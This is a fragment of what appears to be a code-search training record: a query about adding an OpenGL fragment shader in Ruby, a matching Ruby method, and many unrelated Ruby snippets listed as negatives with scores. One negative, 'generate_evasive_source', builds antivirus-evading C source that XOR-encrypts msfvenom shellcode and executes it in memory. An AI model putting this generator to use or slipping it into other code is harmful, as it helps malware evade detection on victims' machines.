0.0)\n\n # Enable clearing of the depth buffer\n glClearDepth(1.0)\n\n # Enable smoothing and color shading\n glShadeModel(GL_SMOOTH)\n\n # Reset the Projection Matrix\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n\n # Calculate the aspect ratio of the window\n gluPerspective(45.0,Float(width)/Float(height),0.1,100.0)\n\n # Reset back to the model Matrix\n glMatrixMode(GL_MODELVIEW)\nend", "def initialize(name, color) \n @name = name \n @color = color \n end", "def precompile_assets=(_arg0); end", "def initialize(program)\n # TODO: use ruby2d gem for actual graphics?\n @screen_size = [1, 1]\n @screen = Array.new(@screen_size[0]) { Array.new(@screen_size[1]) }\n @score = nil\n\n # IO to the IntCode computer\n @input, @controller_output = IO.pipe\n controller_input, @output = IO.pipe\n @computer = IntCode.new(program, controller_input, @controller_output, nil)\n\n # cheating\n @paddle_col = nil\n @ball_col = nil\n @joystick_delay = 3 # wait for the ball to come closer at the beginning, HACK\n end", "def initialize(r,g,b,a)\n @r=r\n @b=b\n @g=g\n @a=a\n @opacity=a\n @color= @a > 0 ? \"rgb(#{r.to_i},#{g.to_i},#{b.to_i})\" : \"none\"\n end", "def initialize\n raise 'Au contraire, mon frere. No lexer instances will be running around.'\n end", "def initialize(name,stylesheet)\n @name = name\n @stylesheet = stylesheet\n end", "def initialize(name,stylesheet)\n @name = name\n @stylesheet = stylesheet\n end", "def initialize settings={:width => 20, :height => 20, :color => [255, 255, 255], :angle => 0, :zoom => 1, :aa => false}\n\t\t\ts = {:width => 20, :height => 20, :color => [255, 255, 255], :angle => 0, :zoom => 1, :aa => false}.merge!(settings)\n\t\t\tsuper s\n\t\t\t@surface = Rubygame::Surface.new [@width, @height]\n\t\t\tUtil.hash_to_var(s, [:color, :zoom, :aa, :angle], self)\n\t\t\t@surface.fill @color\n\t\tend", "def initialize\n\t\tsuper(400,300,200,200, LIGHTGRAY)\n @depth = 30\n\t\t@groups = [:all, :distant_terrain]\n\tend", "def initialize(context, owner, file)\n# puts \"calling Compiler on #{file}\"\n @context = context\n @owner = owner\n @file = file\n utterance = ''\n File.open(file) do |f|\n f.each_line { |l| utterance << l }\n end\n # Since this is a new compiler, we need to wipe out any old compiler catalog stuff\n # Compiler.init_catalog(context)\n planner = OverlogPlanner.new(@context, utterance)\n planner.plan\n @the_program = planner.program\t\t\n\n # typeChecker = TypeChecker.new(@runtime, @the_program)\n # This is an XTC-ism\n # args = [\"-no-exit\", \"-silent\", file]\n # run(args)\n\n # if (runtime.errorCount > 0) then\n # @the_program.definitions.each { |table| Table.drop(table.name) }\n # end\n end", "def initialize(points, color, weight, opacity)\n self.var = nil\n self.points = points\n self.color = color\n self.weight = weight\n self.opacity = opacity\n end", "def initialize(window, x, y, radius, flip=false, color=0xffff0000, z_order=0)\n\t\t\t@window = window\n\t\t\t@x = x\n\t\t\t@y = y\n\t\t\t@radius = radius\n\t\t\t@color = color\n\t\t\t@z_order = z_order\n\t\t\t@flip = flip\n\t\t\t@height = Math::sin(60)*@radius\n\t\t\t@length = Math::sin(30)*@radius\t\n\t\t\tconvertVertices\n\t\tend", "def initialize\n \t\ttmax = TERRAIN_TRIANGLE_MAX_HEIGHT\n \t\ttmin = TERRAIN_TRIANGLE_MIN_HEIGHT\n \tsuper(50,100, tmin, tmax-tmin, BROWN)\n\t @depth = 20\n \t@groups = [:all, :terrain, :can_kill]\n \tend", "def initialize(window, x, y, width, height, color=0xffff0000, z_order=0)\n\t\t\t@window = window\n\t\t\t@x = x\n\t\t\t@y = y\n\t\t\t@width = width\n\t\t\t@height = height\n\t\t\t@color = color\n\t\t\t@z_order = z_order\t\n\t\tend", "def initialize source_dir, config, js\r\n @javascripts = []\r\n @stylesheets = []\r\n @source_dir = source_dir\r\n @config = config\r\n @html_dir = resolve_html_dir\r\n #@game_config = PlotConfig.new(\"#{source_dir}/config.yaml\")\r\n @resource_paths = [\"#{html_dir}\", Gamefic::Sdk::HTML_TEMPLATE_PATH]\r\n config_file = \"#{html_dir}/index.rb\"\r\n stage File.read(config_file), config_file\r\n javascripts.concat js\r\n end", "def initialize (nombre, lista_alimentos, gramos)\n super(nombre,lista_alimentos,gramos)\n end", "def initialize\n super()\n self.name=\"WindowPrincipale\"\n self.move(0,0)\n\n self.fullscreen()\n\n self.set_default_size(Gdk::Screen::width < 3000 ? Gdk::Screen::width : Gdk::Screen::width/2,Gdk::Screen::height)\n self.set_resizable(false)\n self.set_title(\"Jeu Hashi\")\n self.window_position=Gtk::WindowPosition::CENTER\n\n css=Gtk::CssProvider.new\n css.load(path: \"#{$cheminRacineHashi}/src/Interface/css/style.css\")\n #inversez les commentaires pour\n #css.load(path: \"/home/hashiwokakero/Hashi/Interface/css/style.css\")\n Gtk::StyleContext::add_provider_for_screen(Gdk::Screen.default,css,\n Gtk::StyleProvider::PRIORITY_APPLICATION)\n\n self.signal_connect('destroy') {\n Gtk.main_quit\n }\n\n self.add(FenetreMenu.new(self))\n\n\n self.show_all\n Gtk.main\n end", "def initialize(name, color, year, sqft) #Gets called every time a new object in the class is created. Instance variables. This sets the variable.\n\t\t@name = name\n\t\t@color = color\n\t\t@year = year\n\t\t@sqft = sqft\n\t\tcheck_for_largest\n\tend", "def initialize(name, color) \r\n @name = name \r\n @color = color \r\n end", "def glprim type = GL::TRIANGLES\r\n GL.Begin type\r\n begin\r\n yield\r\n ensure\r\n GL.End\r\n end\r\nend", "def program\n @_program ||= begin\n ptr = MemoryPointer::new( Program )\n error = OpenCL.clGetKernelInfo(self, PROGRAM, Program.size, ptr, nil)\n error_check(error)\n Program::new(ptr.read_pointer)\n end\n end", "def initialize(color = \"banana\", brand)\n @brand = brand\n @color = color\n @engine_started = false\n end", "def initialize( name, id, colors, qualities, map, color, quality )\n\t\tsuper( name, id, colors, qualities, map )\n\t\t\n\t\tself.color = color\n\t\tself.quality = quality\n\t\t\n\tend", "def local_init(args)\n end", "def initialize(*args)\n if args[0].is_a?(String)\n hex_initialize(*args)\n else\n rgba_initialize(*args)\n end\n end", "def gl(z=nil, &custom_gl_code); end", "def initialize\n preprocess false\n debug false\n end", "def gl_shading_language_version\n glGetString(GL_SHADING_LANGUAGE_VERSION)\n end", "def new\n @style = Style.new()\n end", "def initialize(nombre,peso,talla,edad,sexo,imc,estados,rcc,rcca) #constructor\n super(nombre,peso,talla,edad,sexo,imc,estados,rcc,rcca)\n end", "def initialize(nombre, proteinas, glucidos, lipidos, datos)\n\t\t@nombre = nombre\n\t\t@proteinas = proteinas\n\t\t@glucidos = glucidos\n\t\t@lipidos = lipidos\n\t\t@datos = datos\n\tend", "def InitGL(width, height) # We call this right after our OpenGL window \n # is created.\n\n glClearColor(0.0, 0.0, 0.0, 0.0) # This Will Clear The Background \n # Color To Black\n glClearDepth(1.0) # Enables Clearing Of The Depth Buffer\n glDepthFunc(GL_LESS) # The Type Of Depth Test To Do\n glEnable(GL_DEPTH_TEST) # Enables Depth Testing\n glShadeModel(GL_SMOOTH) # Enables Smooth Color Shading\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity() # Reset The Projection Matrix\n gluPerspective(45.0,Float(width)/Float(height),0.1,100.0) # Calculate The Aspect Ratio \n # Of The Window\n glMatrixMode(GL_MODELVIEW)\nend", "def setup\n\t\tbackground(0)\n\t\tzahlen = (2*3*5*7)-1# <-- change integer here. # what is biggest array?\n\t\t@table = color_it(rsa_group(zahlen))\n\t\tsquare = [1000] * 2 ; size(*square)\n\t\tframe_rate 1 ; colorMode(HSB,360,100,100)\n\tend", "def initialize\n @yui_js = YUI::JavaScriptCompressor.new(:munge => true)\n @yui_css = YUI::CssCompressor.new\n end", "def initialize(*params)\n super(*params)\n @script = Script.new(nil, init_parameters, logger)\n @script.js_eval @init if @init\n @js_filter = nil\n end", "def initialize w, h, bpp = 0, name = self.class.name, full = false\n SDL.init SDL::INIT_VIDEO\n SDL::TTF.init\n\n full = full ? SDL::FULLSCREEN : 0\n\n self.font = SDL::TTF.open(\"/System/Library/Fonts/Menlo.ttc\", 32, 0)\n\n SDL::WM.set_caption name, name\n\n self.screen = SDL::Screen.open w, h, bpp, SDL::HWSURFACE|SDL::DOUBLEBUF|full\n self.w, self.h = screen.w, screen.h\n\n self.color = {}\n self.rgb = Hash.new { |hash, k| hash[k] = screen.get_rgb(color[k]) }\n\n register_color :black, 0, 0, 0\n register_color :white, 255, 255, 255\n register_color :red, 255, 0, 0\n register_color :green, 0, 255, 0\n register_color :blue, 0, 0, 255\n register_color :gray, 127, 127, 127\n register_color :yellow, 255, 255, 0\n register_color :alpha, 0, 0, 0, 0\n\n (0..99).each do |n|\n m = (255 * (n / 100.0)).to_i\n register_color (\"gray%02d\" % n).to_sym, m, m, m\n register_color (\"red%02d\" % n).to_sym, m, 0, 0\n register_color (\"green%02d\" % n).to_sym, 0, m, 0\n register_color (\"blue%02d\" % n).to_sym, 0, 0, m\n end\n\n self.paused = false\n end", "def initialize(nombre,cgrasas,cgrasassa,hcarbono,azucares,proteinas,sal,grasasmono,grasaspoli,polialcoholes,almidon,fibra,vita)\n\t\t@nombre=nombre\n\t\t@cgrasas=cgrasas\n\t\t@cgrasassa=cgrasassa\n\t\t@hcarbono=hcarbono\n\t\t@azucares=azucares\n\t\t@proteinas=proteinas\n\t\t@sal=sal\n\t\t@grasasmono=grasasmono\n\t\t@grasaspoli=grasaspoli\n\t\t@polialcoholes=polialcoholes\n\t\t@almidon=almidon\n\t\t@fibra=fibra\n\t\t@vitymin=vita\n\n\tend", "def generate_evasive_source(evasion_stack)\n source = \"tmp/bin\"+self.uuid+\".c\"\n specified_techniques = evasion_stack.split(\";\")\n\n # Create EvasionTechnique objects for each specified technique.\n techniques = Array.new(specified_techniques.count)\n specified_techniques.each_index do |i|\n techniques[i] = EvasionTechnique.new(specified_techniques[i])\n end\n\n\n\n # Initialize initial program stub on on which to build the generated source.\n stub_impl = \"\n void translate(char* k){\n dbuf = malloc(BUFFER_LENGTH);\n\n int i, n;\n i = 0; n = 0;\n\n for(i = 0; i < BUFFER_LENGTH; i++)\n dbuf[i] = buf[i];\n\n for(n = 0; n < strlen(k); n++){\n for(i = 0; i < BUFFER_LENGTH; i++){\n dbuf[i] = dbuf[i] ^ k[(n+k[n]+i) % strlen(k)];\n }\n }\n }\n\n void run(){\n int (*func)();\n func = (int (*)()) dbuf;\n (int)(*func)();\n free(dbuf);\n }\n\n \"\n\n # Initialize program component lists/queues/stacks\n includes_list = [\"stdio.h\", \"stdlib.h\", \"string.h\", \"Windows.h\"]\n dyn_definitions = []\n # Queue of code execution prefix stubs\n dyn_exec_prefixes = ['int main(int argc, char** argv){\n HANDLE t_file;\n DWORD t_temporary;\n\n LPCVOID t_content = \"Status: tag log created\";\n\n t_file = CreateFile(\"C:/Documents and Settings/honey/My Documents/ids_taglog.txt\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n WriteFile(t_file, t_content, strlen((const char*) t_content), &t_temporary, NULL);\n ']\n dyn_exec =\n ' \n translate(ivk);\n run();\n '\n # Stack of code execution postfix stubs\n dyn_exec_postfixes = [\" }\"]\n\n # Populate program component lists/queues/stacks\n techniques.each do |t|\n t.includes().each do |i|\n if includes_list.include?(i) == false\n includes_list.concat([i])\n end\n end\n dyn_definitions.concat([t.definitions()])\n dyn_exec_prefixes.concat([t.exec_prefix()])\n dyn_exec_postfixes.unshift t.exec_postfix()\n end\n\n # Flesh out program stub using the populated program components.\n includes = \"\"\n includes_list.each do |i|\n includes << '#include <'+i+ \">\\n\"\n end\n includes << \"\\n\"\n\n dyn_definitions.each do |d|\n stub_impl << d\n end\n stub_impl << \"\\n\"\n\n dyn_exec_prefixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n stub_impl << dyn_exec\n dyn_exec_postfixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n # Copy and parse hex dump from msfvenom-generated C file\n buf_found = false\n hex_string = \"\"\n\n file = File.open(source, \"r\")\n\n file.each do |line|\n # Dump will start with 'unsigned char buf[] ='\n if not buf_found\n if line.index(\"unsigned char buf[]\") == 0\n buf_found = true\n end\n else\n # Strip quotes, newlines, etc\n line.delete! '\"'\n line.delete! '\\n'\n line.delete! \"\\n\"\n line.delete! '\\\\'\n line.delete! 'x'\n # Stop once a semicolon is reached\n if line.index(\";\") != nil\n line.delete! ';'\n hex_string += line\n break\n else\n hex_string += line\n end\n end\n end\n\n file.close\n\n # Convert to binary string\n payload_code = hex_to_bin(hex_string)\n\n # Generate random string to use as the key\n key = rand(36**rand(10...25)).to_s(36)\n\n # Encrypt binary string with key\n encrypted_code = cipher(payload_code.bytes.to_a, key.bytes.to_a)\n encrypted_code_hex = bin_to_hex(encrypted_code.pack(\"c*\"))\n\n # Format C String\n encrypted_code_hex = encrypted_code_hex.gsub(/(.{2})/, '\\\\x\\1')\n # Split formatted C String into lines.\n lines = encrypted_code_hex.scan(/.{1,#{60}}/)\n\n # Write evasive source to file\n file = File.open(\"tmp/evasive\"+self.uuid+\".c\", 'w')\n \n file.puts includes\n file.puts '#define BUFFER_LENGTH '+\"#{encrypted_code.count}\"\n file.puts \"unsigned char ivk[] = \\\"\"+key+\"\\\";\"\n file.puts \"unsigned char buf[] = \"\n lines.each_index do |i|\n if i < lines.count - 1\n file.puts '\"'+lines[i]+'\"'\n else\n file.puts '\"'+lines[i]+'\";'\n end\n end\n file.puts \"unsigned char* dbuf;\";\n file.puts stub_impl\n \n file.close\n\n print_status(\"Evasive source successfully generated.\")\n\n end", "def initialize(options = {})\n @renderer = Colloquy::Renderer.new(options)\n @renderer.prepare!\n end" ]
[ "0.78125066", "0.6928768", "0.67964166", "0.6714616", "0.64758843", "0.6113041", "0.58382887", "0.5825165", "0.58169854", "0.57286125", "0.5671796", "0.56446886", "0.5626977", "0.550136", "0.5473906", "0.538306", "0.53658396", "0.5308355", "0.52918667", "0.5257406", "0.5210447", "0.512444", "0.51025957", "0.5078987", "0.5067862", "0.5055403", "0.50427383", "0.5011522", "0.50098747", "0.5002668", "0.49635857", "0.49575344", "0.48812008", "0.48763865", "0.48727384", "0.48421714", "0.48303077", "0.4820763", "0.48189154", "0.48164365", "0.48035058", "0.4798301", "0.47836134", "0.47812277", "0.47794285", "0.4778304", "0.4774292", "0.4771993", "0.47424525", "0.47413456", "0.47406912", "0.47294027", "0.4723052", "0.47178364", "0.47099817", "0.4704076", "0.46943095", "0.46931377", "0.46909228", "0.4676926", "0.46683058", "0.4653646", "0.46520746", "0.46460962", "0.46426013", "0.46323344", "0.46315762", "0.46315762", "0.46221322", "0.46211988", "0.46189106", "0.46136263", "0.46077973", "0.4600964", "0.45992756", "0.45929104", "0.4581846", "0.45763394", "0.45662647", "0.45631245", "0.45598927", "0.4552931", "0.4551483", "0.45507544", "0.45458096", "0.45217746", "0.45204455", "0.45200613", "0.45178154", "0.4515242", "0.4512716", "0.45123896", "0.44997913", "0.44944906", "0.4489533", "0.44857123", "0.4484867", "0.44813856", "0.4480127", "0.44710094" ]
0.79877937
0
Adiciona um shader de fragmento ao programa a partir de um arquivo
def add_fragment_shader name raise 'O programa já está linkado, não é possível adicionar mais shaders' if @linked file = File.open "shaders/#{name}.frag" source = file.read file.close shader = glCreateShader GL_FRAGMENT_SHADER glShaderSource shader, 1, [source.cptr].pack("L").cptr, 0 glCompileShader shader info_log_length = [0].pack("L") glGetShaderiv shader, GL_INFO_LOG_LENGTH, info_log_length.cptr info_log_length = info_log_length.unpack("L")[0] if info_log_length > 0 err = "\0" * (info_log_length + 1) glGetShaderInfoLog shader, info_log_length, 0, err.cptr unless err.include? "No errors" raise "Falha ao compilar shader de fragmento `#{name}`: #{err}" end end glAttachShader @id, shader @shaders << shader end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init_shaders(widget)\n context = widget.context\n\n if context.use_es?\n vertex_path = \"/glarea/glarea-gles.vs.glsl\"\n fragment_path = \"/glarea/glarea-gles.fs.glsl\"\n else\n vertex_path = \"/glarea/glarea-gl.vs.glsl\"\n fragment_path = \"/glarea/glarea-gl.fs.glsl\"\n end\n src_vertex = Gio::Resources.lookup_data(vertex_path, 0)\n src_fragment = Gio::Resources.lookup_data(fragment_path, 0)\n vertex = create_shader(GL_VERTEX_SHADER, src_vertex)\n return [0, nil] if vertex.zero?\n fragment = create_shader(GL_FRAGMENT_SHADER, src_fragment)\n return [0, nil] if fragment.zero?\n\n program = glCreateProgram\n glAttachShader(program, vertex)\n glAttachShader(program, fragment)\n glLinkProgram(program)\n # Check if the program is valid\n linked_buf = \" \"\n glGetProgramiv(program, GL_LINK_STATUS, linked_buf)\n status = linked_buf.unpack(\"L\")[0]\n if status.zero?\n log_len = \" \"\n glGetShaderiv(program, GL_INFO_LOG_LENGTH, log_len)\n len = log_len.unpack(\"L\")[0]\n info_log = \" \" * (len + 1)\n glGetProgramInfoLog(program, len, nil, info_log)\n STDERR.puts \"Linking failure:\\n#{info_log}\\n\"\n glDeleteProgram(program)\n glDeleteShader(vertex)\n glDeleteShader(fragment)\n program = 0\n end\n mvp = glGetUniformLocation(program, \"mvp\")\n [program, mvp]\n end", "def create_shader(shader_type, file_name)\n\t\tshader_id = GL20.gl_create_shader(shader_type)\n\t\tshader_file = File.new File.expand_path(\"../../glsl/#{file_name}\", __FILE__)\n\n\t\tGL20.gl_shader_source(shader_id, shader_file.read)\n\t\tGL20.gl_compile_shader(shader_id)\n\n\t\tputs file_name, GL20.gl_get_shader_info_log(shader_id, 200)\n\n\t\tshader_id\n\tend", "def initialize\n\t\t@id = glCreateProgram\n\t\t@shaders = []\n\t\t@linked = false\n\tend", "def shader_files_exist?(vertex:, fragment:)\n File.exist?(vertex) && File.exist?(fragment)\n end", "def create_shader(type:, source:)\n _shader = nil\n\n case type\n when :vertex\n _shader = glCreateShader(GL_VERTEX_SHADER)\n when :fragment\n _shader = glCreateShader(GL_FRAGMENT_SHADER)\n else\n raise ArgumentError, \"Unsupported shader type: #{type.inspect}\"\n end\n\n processed_source = preprocess_source(source: source)\n\n _source = [processed_source].pack(\"p\")\n _size = [processed_source.length].pack(\"I\")\n glShaderSource(_shader, 1, _source, _size)\n\n @data[:shaders][type] = _shader\n end", "def link_shaders\n @program = glCreateProgram\n @data[:shaders].values.each do |_shader|\n glAttachShader(@program, _shader)\n end\n glLinkProgram(@program)\n\n buffer = \" \"\n glGetProgramiv(@program, GL_LINK_STATUS, buffer)\n linked = buffer.unpack1(\"L\")\n\n if linked == 0\n log = \" \" * @error_buffer_size\n glGetProgramInfoLog(@program, @error_buffer_size, nil, log)\n puts \"Shader Error: Program \\\"#{@name}\\\"\"\n puts \" Program InfoLog:\", \" #{log.strip.split(\"\\n\").join(\"\\n \")}\\n\\n\"\n end\n\n @compiled = !(linked == 0)\n end", "def use\n\t\tglUseProgram @id\n\tend", "def compile_shader(type:)\n _compiled = false\n _shader = @data[:shaders][type]\n raise ArgumentError, \"No shader for #{type.inspect}\" unless _shader\n\n glCompileShader(_shader)\n buffer = \" \"\n glGetShaderiv(_shader, GL_COMPILE_STATUS, buffer)\n compiled = buffer.unpack1(\"L\")\n\n if compiled == 0\n log = \" \" * @error_buffer_size\n glGetShaderInfoLog(_shader, @error_buffer_size, nil, log)\n puts \"Shader Error: Program \\\"#{@name}\\\"\"\n puts \" #{type.to_s.capitalize} Shader InfoLog:\", \" #{log.strip.split(\"\\n\").join(\"\\n \")}\\n\\n\"\n puts \" Shader Compiled status: #{compiled}\"\n puts \" NOTE: assignment of uniforms in shaders is illegal!\"\n puts\n else\n _compiled = true\n end\n\n _compiled\n end", "def add_fragment( name, *nodes )\n\t\tself.log.debug \"Adding a %s fragment with %d nodes.\" % [ name, nodes.size ]\n\t\tnodes.flatten!\n\t\tself.fragments[ name.to_sym ] = nodes\n\t\tself.scope.__fragments__[ name.to_sym ] = nodes\n\tend", "def generate(name, glsl, typeInfo)\n # Merge type information for all argument lists a function might\n # have.\n minParam, paramTypes = mergeParameterLists(typeInfo.parameterLists)\n\n # Assemble type annotations for the closure compile.\n paramtypestr = []\n paramstr = []\n (0...minParam).each do |i|\n paramtypestr << \" * @param {!(#{paramTypes[i].toClosure})} arg#{i}\\n * Function argument #{i}.\"\n paramstr << \"arg#{i}\"\n end\n (minParam...paramTypes.size).each do |i|\n paramtypestr << \" * @param {!(#{paramTypes[i].toClosure})=} arg#{i}\\n * Function argument #{i}.\"\n paramstr << \"arg#{i}\"\n end\n annotations = paramtypestr.join(\"\\n\")\n\n return <<EOF\n\n/**\n * Create expression for GLSL function '#{glsl}'.\n *\n#{annotations}\n * @return {!embedsl.Expression} Created expression.\n */\nembedsl.lang.#{name} = (function() {\n var cached = #{typeInfo.toEsl};\n return function(#{paramstr.join(\",\\n \")}) {\n var args = Array.prototype.slice.call(arguments);\n return new embedsl.Expression(\n embedsl.Kind.BUILTIN, cached, '#{name}', '#{glsl}', args);\n };\n})();\nEOF\nend", "def write_stl_file output_path \n @name ||= \"ascii\"\n \n File.open(output_path, 'w') do |f|\n f.puts \"solid #{@name}\"\n @fbuffer.each_triple do |a,b,c|\n facet_normal = @vnbuffer.avg_normal a, b, c\n f.puts \"facet normal #{facet_normal[0].round(5)} #{facet_normal[1].round(5)} #{facet_normal[2].round(5)}\\nouter loop\"\n f.puts \"vertex #{@vbuffer[a].map { |x| x.round(5) }.join(\" \")}\"\n f.puts \"vertex #{@vbuffer[b].map { |x| x.round(5) }.join(\" \")}\"\n f.puts \"vertex #{@vbuffer[c].map { |x| x.round(5) }.join(\" \")}\"\n f.puts \"endloop\\nendfacet\"\n end\n f.puts \"endsolid #{@name}\"\n end\n end", "def glShaderSource(shader, sources)\n ary_len = (source_array = sources.kind_of?(Array)) ? sources.length : 1\n\n lengths = GL.__boxed_type__(:gl_sizei)[ary_len]\n pointers = GL.__boxed_type__(:intptr_t)[ary_len]\n\n begin\n assign_block = -> (src, index) do\n lengths[index].name = src.bytesize\n pointers[index].name = Fiddle::Pointer[src].to_i\n end\n\n if source_array\n sources.each_with_index(&assign_block)\n else\n assign_block[sources, 0]\n end\n\n glShaderSource__(shader, ary_len, pointers.address, lengths.address)\n\n ensure\n lengths.free!\n pointers.free!\n end\n\n self\n end", "def import_next_object(f, order)\n f_size = read_word(f)\n f_type = read_word(f)\n f_data = f.read(f_size - 4)\n frag = Fragment.create! order: order, orig_data: f_data, scenario_id: id, f_type: f_type, size: f_size\n f_type == 16 ? create_line(frag) : 0\n end", "def fragment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 3)\n\n type = FRAGMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 9:12: 'fragment'\n match(\"fragment\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 3)\n\n end", "def replace_code(target_class, target_fragment, source_class, source_fragment)\n _env_change\n @env.file_op [:fragment, [target_class, target_fragment], [source_class, source_fragment]]\n end", "def append_fragment(fragment)\n @fragments << fragment\n @memory_used += fragment.memory_weight\n @tags += fragment.tags.to_set\n @host_aliases += fragment.host_aliases.to_set\n @environment = fragment.environment\n @run_list = (@run_list.to_set + fragment.run_list.to_set).to_a\n end", "def generate_evasive_source(evasion_stack)\n source = \"tmp/bin\"+self.uuid+\".c\"\n specified_techniques = evasion_stack.split(\";\")\n\n # Create EvasionTechnique objects for each specified technique.\n techniques = Array.new(specified_techniques.count)\n specified_techniques.each_index do |i|\n techniques[i] = EvasionTechnique.new(specified_techniques[i])\n end\n\n\n\n # Initialize initial program stub on on which to build the generated source.\n stub_impl = \"\n void translate(char* k){\n dbuf = malloc(BUFFER_LENGTH);\n\n int i, n;\n i = 0; n = 0;\n\n for(i = 0; i < BUFFER_LENGTH; i++)\n dbuf[i] = buf[i];\n\n for(n = 0; n < strlen(k); n++){\n for(i = 0; i < BUFFER_LENGTH; i++){\n dbuf[i] = dbuf[i] ^ k[(n+k[n]+i) % strlen(k)];\n }\n }\n }\n\n void run(){\n int (*func)();\n func = (int (*)()) dbuf;\n (int)(*func)();\n free(dbuf);\n }\n\n \"\n\n # Initialize program component lists/queues/stacks\n includes_list = [\"stdio.h\", \"stdlib.h\", \"string.h\", \"Windows.h\"]\n dyn_definitions = []\n # Queue of code execution prefix stubs\n dyn_exec_prefixes = ['int main(int argc, char** argv){\n HANDLE t_file;\n DWORD t_temporary;\n\n LPCVOID t_content = \"Status: tag log created\";\n\n t_file = CreateFile(\"C:/Documents and Settings/honey/My Documents/ids_taglog.txt\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n WriteFile(t_file, t_content, strlen((const char*) t_content), &t_temporary, NULL);\n ']\n dyn_exec =\n ' \n translate(ivk);\n run();\n '\n # Stack of code execution postfix stubs\n dyn_exec_postfixes = [\" }\"]\n\n # Populate program component lists/queues/stacks\n techniques.each do |t|\n t.includes().each do |i|\n if includes_list.include?(i) == false\n includes_list.concat([i])\n end\n end\n dyn_definitions.concat([t.definitions()])\n dyn_exec_prefixes.concat([t.exec_prefix()])\n dyn_exec_postfixes.unshift t.exec_postfix()\n end\n\n # Flesh out program stub using the populated program components.\n includes = \"\"\n includes_list.each do |i|\n includes << '#include <'+i+ \">\\n\"\n end\n includes << \"\\n\"\n\n dyn_definitions.each do |d|\n stub_impl << d\n end\n stub_impl << \"\\n\"\n\n dyn_exec_prefixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n stub_impl << dyn_exec\n dyn_exec_postfixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n # Copy and parse hex dump from msfvenom-generated C file\n buf_found = false\n hex_string = \"\"\n\n file = File.open(source, \"r\")\n\n file.each do |line|\n # Dump will start with 'unsigned char buf[] ='\n if not buf_found\n if line.index(\"unsigned char buf[]\") == 0\n buf_found = true\n end\n else\n # Strip quotes, newlines, etc\n line.delete! '\"'\n line.delete! '\\n'\n line.delete! \"\\n\"\n line.delete! '\\\\'\n line.delete! 'x'\n # Stop once a semicolon is reached\n if line.index(\";\") != nil\n line.delete! ';'\n hex_string += line\n break\n else\n hex_string += line\n end\n end\n end\n\n file.close\n\n # Convert to binary string\n payload_code = hex_to_bin(hex_string)\n\n # Generate random string to use as the key\n key = rand(36**rand(10...25)).to_s(36)\n\n # Encrypt binary string with key\n encrypted_code = cipher(payload_code.bytes.to_a, key.bytes.to_a)\n encrypted_code_hex = bin_to_hex(encrypted_code.pack(\"c*\"))\n\n # Format C String\n encrypted_code_hex = encrypted_code_hex.gsub(/(.{2})/, '\\\\x\\1')\n # Split formatted C String into lines.\n lines = encrypted_code_hex.scan(/.{1,#{60}}/)\n\n # Write evasive source to file\n file = File.open(\"tmp/evasive\"+self.uuid+\".c\", 'w')\n \n file.puts includes\n file.puts '#define BUFFER_LENGTH '+\"#{encrypted_code.count}\"\n file.puts \"unsigned char ivk[] = \\\"\"+key+\"\\\";\"\n file.puts \"unsigned char buf[] = \"\n lines.each_index do |i|\n if i < lines.count - 1\n file.puts '\"'+lines[i]+'\"'\n else\n file.puts '\"'+lines[i]+'\";'\n end\n end\n file.puts \"unsigned char* dbuf;\";\n file.puts stub_impl\n \n file.close\n\n print_status(\"Evasive source successfully generated.\")\n\n end", "def stop\n Shader.active_shader = nil if Shader.active_shader == self\n glUseProgram(0)\n end", "def glsl_version\n OpenGL.glsl_version\n end", "def myinit\r\n GL.ShadeModel (GL::FLAT);\r\n\r\n base = GL.GenLists(128);\r\n GL.ListBase(base);\r\n GL.NewList(base+'A'[0], GL::COMPILE); drawLetter(Adata); GL.EndList();\r\n GL.NewList(base+'E'[0], GL::COMPILE); drawLetter(Edata); GL.EndList();\r\n GL.NewList(base+'P'[0], GL::COMPILE); drawLetter(Pdata); GL.EndList();\r\n GL.NewList(base+'R'[0], GL::COMPILE); drawLetter(Rdata); GL.EndList();\r\n GL.NewList(base+'S'[0], GL::COMPILE); drawLetter(Sdata); GL.EndList();\r\n GL.NewList(base+' '[0], GL::COMPILE); GL.Translate(8.0, 0.0, 0.0); GL.EndList();\r\nend", "def write(fragment); end", "def load_program(program, offset = 0)\n @program = program\n compile_program(@program)\n end", "def generate(name, symbol, typeInfo)\n ptl = typeInfo.parameterLists[0]\n return <<EOF\n\n/**\n * Create expression for GLSL operator '#{symbol}'.\n *\n#{ptl.toClosureAnnotation}\n * @return {!embedsl.Expression} Created expression.\n */\nembedsl.lang.#{name} = (function() {\n var cached = #{typeInfo.toEsl};\n return function(#{ptl.toParameterList}) {\n var args = Array.prototype.slice.call(arguments);\n return new embedsl.Expression(\n embedsl.Kind.OPERATOR, cached, '#{name}', '#{symbol}', args);\n };\n})();\nEOF\nend", "def initialize(viewport, picture)\r\n super(viewport)\r\n self.shader = Shader.create(:full_shader)\r\n @picture = picture\r\n @gif_handle = nil\r\n update\r\n end", "def install\n\t\tsystem 'sed -i -e \"s/3\\.0\\.0\\.dylib/3\\.4\\.dylib/g\" build/waifu2x-converter-glsl.xcodeproj/project.pbxproj'\n\t\tsystem 'sed -i -e \"s/libglfw3/libglfw/g\" build/waifu2x-converter-glsl.xcodeproj/project.pbxproj'\n\t\tsystem 'xcodebuild -project build/waifu2x-converter-glsl.xcodeproj -scheme waifu2x-converter-glsl -configuration Release -derivedDataPath DerivedData HEADER_SEARCH_PATHS=\"/usr/local/opt/opencv@3/include /usr/local/opt/glfw/include '+buildpath+'/include\" LIBRARY_SEARCH_PATHS=\"/usr/local/opt/opencv@3/lib /usr/local/opt/glfw/lib\"'\n\t\tlibexec.install 'DerivedData/Build/Products/Release/waifu2x-converter-glsl'\n\t\tlibexec.install 